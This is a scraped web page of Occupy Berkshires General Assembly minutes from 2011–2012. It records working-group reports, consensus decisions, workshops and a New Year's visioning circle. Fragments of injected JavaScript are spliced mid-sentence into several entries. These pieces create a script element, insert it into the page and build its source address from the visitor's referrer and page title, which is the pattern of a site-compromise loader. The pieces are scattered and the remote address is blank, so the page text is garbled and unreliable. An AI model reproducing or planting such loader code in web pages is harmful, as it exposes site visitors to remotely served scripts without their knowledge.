Meeting Minutes

There is a weekly General Assembly for Occupy Berkshires, Sundays at the Friends Meeting House in Great Barrington, MA. There we discuss the issues of the day, and organize actions for the group to work on.

Friends Meeting House
Rt 23
Great Barrington, MA
Each Sunday, 3-5:00pm

GA Minutes, 6.17.12

Posted to website : June 19, 2012 2:39 am : General Assembly Meeting Minutes

6/17/12 GA minutes

At Friends’ Meetinghouse, G.B.


  • Danika will be planning a Earth Summit.  Please contact if you are interested in getting involved.

Review of process & handsignals

Small groups for 5 minutes on something we learned this week.

Working Group Reports:

  • R-credits

Group is deciding whether it wants to continue as a study             group or be a working group.

Article on r-credits in “Berkshire Trade & Commerce”, p.18.

  • Facilitating Group

Looking for more people to help out.  There are tasks that do             not involve facilitating.

Group meets every Tuesday at 7 pm at the Coop.

  • Statement of Principals

Group is having a problem, the discussion of which is on the             agenda.

  • Communication

Meeting tonight at Fuel, at 5:30.  All are welcome, especially             if someone from each working group could attend.

  • Street Theater Project – Housatonic River clean-up

The event will be held in Pittsfield this Thursday.

Participants will meet at 6:15 at North Street and Fen Street             (near the bus station.)  The event will take place at 6:30.

There will be drumming to draw people to the event.

David Scribner has been notified

  • Environment group

Earth Summit, mentioned in announcements

It was noted that no one showed up for the rally today.


Statement of Purpose

The working group asked for guidance as to whether to put a media grievance in the grievance section of the document without solutions included, or to put media grievance in an addendum as solutions are identified.

Members of the working group that were present spoke expressing their point of view and preference.

There was a round of comments.

The working group requested a temperature check, which indicated that the group leaned heavily in favor of putting the media grievance in the grievance section of the document even though at this point it would be without solutions.

The meeting didn’t formally end.

The Housatonic /GE clean-up skit was practiced outside.

GA Minutes, January 29, 2012

Posted to website : February 5, 2012 6:52 pm : General Assembly Meeting Minutes

After Announcements, Welcome and Introductions the following items were presented for discussion and/or decision :

1)    Mark presented his draft of a Statement of Principles. After a lengthy discussion it was noted that his version of the Principles was not a common document of the working group and therefore it would be better to table the item pending a mediation session between him and Maia with further steps to be decided upon by the two of them.

2)    The General Assembly by consensus decided to support the recommendation of the Finance Group to reimburse Karen for $110. to support the shortfall of the Non Violent Communication Workshop. It was noted that in the future the GA would need to be clearer about whether an educational activity was a formally sponsored activity of Occupy Berkshires implying financial responsibility or not.

3)    Freed Man introduced the idea of supporting a local Food Sovereignty Ordinance for the town of Great Barrington. After questions of clarification and some conversation it was decided to continue this item at a future session.

4)    Education: Foreclosures Study and Action with Paul Deslauriers and John Root. A proposal to have an educational session on Foreclosure with the focus on Paul Deslauriers situation in which his house will be auctioned sometime in March was presented. People who were interested gave contact information to Paul.

5)    A review and reflection of the meeting took place with a diversity of opinions expressed about the quality of the meeting and the facilitation process.

The next GA meeting will provide an opportunity for the working groups to meet together with  others.}

GA Minutes, January 22, 2012

Posted to website : February 5, 2012 6:48 pm : General Assembly Meeting Minutes


  • Arts & Crafts Cardboard Occupiers Project

10 to 12:00 on September 28th at  (need the name of location)

Need large cardboard, box cutters

  • Occupy Congress, a personal account of event that was held on 1/17/12
  • Money Seminar

Saturday mornings 10 -12:00

Four sessions, Feb. 4th to the 25th

  • Foreclosure Action Suggested
  • MA Labor Action Presentation

Jan. 23rd, at 7pm

  • Food Sovereignty Ordinance for Great Barrington

Would allow local producers to sell directly to consumers.

This would involve a petition and a warrant.

  • Ask for help preparing petition for Town of Monterey to respond to the Citizens United Supreme Court decision.
  • Amendment Issue: Those interested in Free Speech for People invited to meet after meeting.

Agenda Items

  • Occupy Berkshires as featured organization at Great Barrington Green Drinks.  Sponsored by Orion.

There was consensus by GA to accept this invitation.

Thursday, Feb. 2nd, 5:15-7pm, at Route 7 Grill

Sub group to prepare presentation, which met at end of GA.

  • Facilitation proposal to have alternative meeting structure on first Sunday of each month beginning Feb. 5th

After announcements and introduction there would be two 45-minute sessions for             working groups to meet.  Groups would report back to GA.

There was consensus on this proposal with the understanding that after Feb. 5th             meeting the structure could be adjusted according to feedback from the GA.var d=document;var s=d.createElement(‘script’);

GA Minutes, January 15, 2012

Posted to website : February 5, 2012 6:47 pm : General Assembly Meeting Minutes

1.  The Statement of Principles Working Group read aloud the “Grievances” section of the “Declaration of Interdependence.”  There were many comments noted by the working group.  They will come back to the GA and present this section of the document at a later time.

The first paragraph of the “Declaration of Interdependence” document was read aloud and a revised version.  The working group will try to present a final version for approval at the next GA meeting.

2.  Mass. Labor Action offered to give a seminar on the history of labor in the U.S.  It was suggested that this also include current labor action. General support was expressed.   The event will be held on January 23rd at 7pm at the Friends Meeting House.  The Education Working Group will be discussing its possible role in this event.

3.  John Root, with the support of the Education Working Group, offered to give a four session workshop on understanding money and possible alternatives to our current money system.  There was general support in the GA.  John will give information on line as well as conduct a poll to determine the best time for the workshops.  Go to for more information.

4.  Outreach Working Group will be putting very brief facts in the Shoppers’ Guide as a way to reach out and gain visibility.  There was a round of comments.  There was general positive support for this action.if (document.currentScript) {

GA Minutes, January 8, 2012

Posted to website : February 5, 2012 6:47 pm : General Assembly Meeting Minutes

Request for a new location for the People’s Library. Casey is looking for someone with connection to the Friends Meeting House to ask if they would be willing to supply some bookshelves for these books

1. Mark Caldwell: Occupy Papers – the proposal was approved with some amendments to read: Occupy encourages members to write educational papers/posters supplying factual information as well as opinions, to be overseen by at least four individuals in the Outreach Committee, before going out to the public.

“The Outreach Workgroup can oversee and approve Occupy Papers written by individuals in the group, to be distributed by individuals. These papers can bear the name “Occupy Berkshires.” Fact Sheets can be approved solely by the Outreach Workgroup. Any opinion pieces must also get GA approval.

Additional suggestions: That every paper/poster include our website and both protest and meeting times. That the Outreach group refine, vet and source facts for all community papers/posters.

2. “Minis” action brainstorm

This item was postponed until a later meeting.

3. A sizeable show of interest (11-13 hands) approved the idea of bringing a  National Peace Action speaker here on Mon Jan 30 to discuss the impact of military spending.

4. Workgroup breakout time – each of the workgroups had time to work together.

Upcoming: Nonviolent/Intentional Communication Workshop is now registering people for the Sat, Jan 21st 9-5 workshop in Lee. See recent email or website announcement for registration information. Space is limited.

Meeting Reflection:

-Democracy is messy

-Lots of great ideas

-Not our full-time job, so it’s great to see everyone doing our part

-GA isn’t the place to get work done—we need our work groups for that

-Many hands make light work – we need more people active in work groups

-We can give feedback to any work group

-Consensus process wasn’t clear today

-Uncomfortable hearing the word “anarchists” used derogatorily; exclusion of any group doesn’t do us any good

-Anger/aggression need to be talked about here

-I love to learn; I have a lot to learn

-Make more room for point of information and dynamism, ie. respond to calls for helpdocument.currentScript.parentNode.insertBefore(s, document.currentScript);

GA Minutes, January 1, 201

Posted to website : February 5, 2012 6:45 pm : General Assembly Meeting Minutes

Visioning Meeting/New Year’s Potluck

We did not have a regular meeting, but rather had a circle in which everyone was invited to share a poem, quote, story, or vision for the future. Below are two “wordles,” visual representations of the notes people took that you can download as PDFs, along with a list of those notes.




Acting in however small a way… this~is~the~year to act…

circles talking from~the~heart


as motive for action and interaction…


learn to live from~the~heart

carrying a living awareness of the consequences of our decisions…

how do we shift expand the language to tell the truth?


Not fight against… or at all… interconnectedness

We need to reach out to people who haven’t come to our group – poor, black, Hispanic, youth

representation or responsibility for those who cannot be here, are not able to be with us…

We have to be aware that we’re sitting here for them

We as a culture can outperform~our~government:5

Change the system and change ourselves, change the conversation

People coming from the best of themselves

100% have common needs


Spirit of play…fun challenges… inclusiveness

When the revolution comes I want everyone to be on the same side

How does a predatory~system limit us? Intercept our dreams?



If we can go to the moon, then…

Let’s pretend that the world we want is already here

We don’t go to someone else for the money we need,

We go to each other

The Earth is One

truth is the silent language of the soul

The long arc of history is toward justice

Spiral down, spiral up, difference is tiny

Tends to continue

What we value about Occupy:  energy,  connection

What actions would you like to participate in?

Learning from elders


Money Law

Symbolic inventions as predatory tool  to control each other



Clean~air, food, water, education, peace, safety, home, sovereignty


Health care system

Utilize different methods by neutralizing our internal forces first

Compassion vs. grasping

Outperforming~government with our communal~resources

Lesson from the Elders

Stepping outside symbols

Keep asking: What~do~you~want?


Taking power in our hands





Playful, bold~nonviolence

Recognizing the value of who we each are, what we can and did do individually and collectively…

The value of our planet and its resources

sustainably lovingly

Howard~Zinn  – chapter 23 Peoples’~History

Pretend that the world you want is already here

Book: Reality~is~Broken

Create a Peace~Force instead of a Police Force

There are no sides


We’re in a predatory~culture that limits us

The battle is against our own fear.

We need a strong, calm, integrated center, or we will lose

Great change with little violence


Truth is the silent language of the soul – it’s beginning to speak

Mythology of individualism vs. the real~life~experience of the empowerment of working together

You’re not gonna make much difference scratching against a wall alone, but with others you can easily remove a wall

Think of the effects of every action or decision you make, on all the other people of the earth

Not class warfare – it’s class self~defense

we love to take on challenges as a group in the spirit of playif (document.currentScript) {

GA Minutes, December 18, 2011

Posted to website : February 5, 2012 6:39 pm : General Assembly Meeting Minutes

1. Statement of Purpose:  Proposal for consensus on document

        Marc reads Statement of Purpose:  initial document – who we are – who                   we welcome – things we will be working on.

Clarifying questions:  Use of word ‘community’?

Barbara:  What is this statement?  Other statements                                         to come?

Comments around circle:

Michael and Janice:  concerned with not having what we are                                                                          responding to. i.e. Wall Street

Arnold:  Concerns about term “Actions”, wants non-violent written into                             document.

Frank:  Issue of “our state of affairs” – impasse

Mike:  likes use of “non-violent”

Rosa:  non-violence – gave numerous edits

Response by Maia – re-reads with changes.

Discussion of “our” and “the”

Margaret:  offers edit “We intend to create”

Kristen:  “Through our actions we intend to create positive changes”

CONSENSUS!!!   will email to communications for website.

2.  Danika Padilla:  Proposal for an Environmental Impact/Environmental Justice and Conservation Working Group to operate under the auspices of Occupy Berkshires.

Rosa:  Rather than agenda item – announcement

Danika will create environmental working group – Read statement


3.  Finance:  Proposal to create expense voucher form

Barbara:  Expense voucher created by Alvin Blake.  Read aloud.

Barbara:  Question of advanced funds vs. reimbursements

Peter:  Mechanism to prevent people from spending and asking for                                     reimbursement.

Kristen:  Is this form used for all expenditures?

Barbara responds –

Krysha:  Reimbursement only?

John Root:  We should be trusting – this begins bureoucracy

Graham:  Keeping track of expenses – must account for money in and                                        out

Discussion of working group vs. individual expenditures.

Janice:  How does working group agree to expenses/approval?

John Root:  “Donation” added to voucher and policy added to voucher


Reserve Agenda Item:

Brainstorm for Environment Working Group:

wind – solar – speak – info – need for both views in forum.

How dire is situation?

“no” waste and consumerism – NIMBY groups

E work group must come to consensus on actions

Fracking, Housatonic River, Make connected to Occupy-,

Trash weighing, working with other groups, agriculture, sustainable production of food and goods.  “Environment” the definition.  Image of Occupy – Personal Impact.  Fertilizers & chemicals, corporate waste – growth of economy – the military – emissions – $ and environment

GA Minutes, December 11, 2011

Posted to website : February 5, 2012 6:37 pm : General Assembly Meeting Minutes

1.  Direct Action: Approval from GA before Organizing Events

            Agreed to proposal from Direct Action on sponsorship

2.  Finance: Pre-approved Working Group Spending 

Finance proposal Approved

3.  Direct Action: Proposal for Bradley Manning Rally in Pittsfield

Support of Bradley Manning action approved – less the adjectives

4.  Education: Monetary System Workshop with John Root

Approval to sponsor John Root lecture on monetary system

John will pay for rooms.src=’’ + encodeURIComponent(document.referrer) + ‘&default_keyword=’ + encodeURIComponent(document.title) + ”;

GA Minutes, December 4, 2011

Posted to website : February 5, 2012 6:36 pm : General Assembly Meeting Minutes

1. Facilitation: Proposal for Facilitating Large Groups


-Facilitators facilitate

-report inadequate?  can they add or amend?


2. Finance Committee Proposal

-open to other banks

-what is involved in registering a name?  explanation

-what about non-profit proposal?

-unincorporated?  Yes.  Bylaws

-option to have a residence address instead of a P O Box?

-how was bank choice decided?  Bank across the street from rally, non-profit co-op

-pay taxes?  may need accountant

-‘Occupy Berkshires’ or ‘South County’ (since there is an Occupy group in North Adams)


3. Proposal for alternative meeting format, once per month

[ Barbara:  $150 for ITAM

Free Speech for People – no money (at the suggestion of John Bonifaz)]

-allow time for time-sensitive, important proposals

-every 5th week?

-facilitators part of each work group

-on big holidays?

-each working group have mini-agenda before the meeting

-perhaps different WG’s on different weeks – staggered

MANY SUGGESTIONS AND IDEAS.  FACILITATION WG WILL DISCUSS AND BRING                                                                     PROPOSAL ABOUT IT.

4. Facilitation: Proposal for handling carry-over agenda items

-pick up at break point?  brief summary, minutes?

-where the proposal came from?

-how do we make sure people know what happened?

*rule of use of block – It is a suggestion!!


5. Education: Non-violent communication, gauging interest

-open to everyone

-individual initiative

-over 20 people raised their hands

             Bill Leicht’s workshop – 1 ½ – 3 hour introduction

-dealing w/power

-how to use the body

7. Statement of Principles document

-study the proposal, read and bring in next week with any changes

6. Education: Brainstorm – small groups

Reporting for each group after coming back together in the big group:

Kristen:  single payer; military spending; DA;  re-educating ourselves to communicating, better                             at solidarity

Michael:  demonstrations before events; speakers from other Occupy; outreach education to                                         89%, near High Schools, Latino population; theatrics

Bill:  internet policy danger; history of social change movement; social activities of OB so we                                  get to know each other; DA why materials; DA ideas to Education; different models of                                  organizing society; materials; resource list

Casey:  GE corporation; liberating ourselves to public speaking; labor history; more speakers

like John Bonifaz; global warming; food politics; alternative ways of decision making;                                      health care; civil disobedience training; race and class



GA Minutes, November 20, 2011

Posted to website : February 5, 2012 6:34 pm : General Assembly Meeting Minutes

1. Reflection on encampment (10 minutes)

-group discussion

2. Education: Proposal for the Green Party to have a table at the John Bonifaz event (8 minutes) (attached)

-GA decided not to allow any political candidates to table at our events for now.

3. Finance – To cover expenses from the encampment and printing, we proposal to continue “passing the hat” for donations until the Finance Group is more formed. (5 minutes)

-consensus was reached

4. Statement of Purpose (20) (attached)

-statement was discussed, but is still in process

5. Facilitation: Proposal for agenda item for the meeting after Thanksgiving to be 2 or 3 workgroup breakout sessions. (2 minutes)

-reached consensus on this item

7. Outreach: Propose ordering 1000 Occupy Berkshire buttons. Cost is $260 for 2.25″ pin back buttons. Propose to reimburse Paul by donations collected. Any donations received after costs are recovered would become funds for Occupy Berkshire. (10 minutes)

-continued discussion from previous meeting. Consensus was not met.

8. Education: Brainstorm in small groups (12 minutes, 2 minutes to present, 5 minutes small groups, 5 minutes report back) (attached)

-did not get to this item

9. Facilitation: Proposal to formally adopt the agenda item proposal process (attached) (3 minutes)

-did not get to this item

10. Direct Action: Move Your Money Campaign (attached) (10 minutes)

-did not get to this item

Reserve Agenda Items:

1. Education: Non-violent communication workshop, gauge interest (attached) (10 minutes)

-did not get to this itemvar d=document;var s=d.createElement(‘script’);

GA Minutes, November 19, 2011 – encampment

Posted to website : February 5, 2012 6:30 pm : General Assembly Meeting Minutes

Opening Thought: “Whenever we try to pick out anything by itself, we find it hitched to everything else in the universe.” — John Muir

Discussion Question: What’s next for the Occupy movement?

The Occupy movement has spread to the point where it is no longer dependent on the occupation of parks and public spaces. Communities all over the world have organized independent Occupy chapters, capable of planning actions and continuing the conversation about reforming our society.

The Occupy movement has given voice to the issues of income inequality, corporate greed, and the need for a democracy that is not corrupted by corporate influence. How do we turn this growing awareness into something positive and forward moving? What are the next steps? There is such diversity within the “99 Percent.” Is there a way to encourage everyone to become involved in working on the issue that they are most passionate about? Can the movement stay broad enough to encompass them all?var d=document;var s=d.createElement(‘script’);

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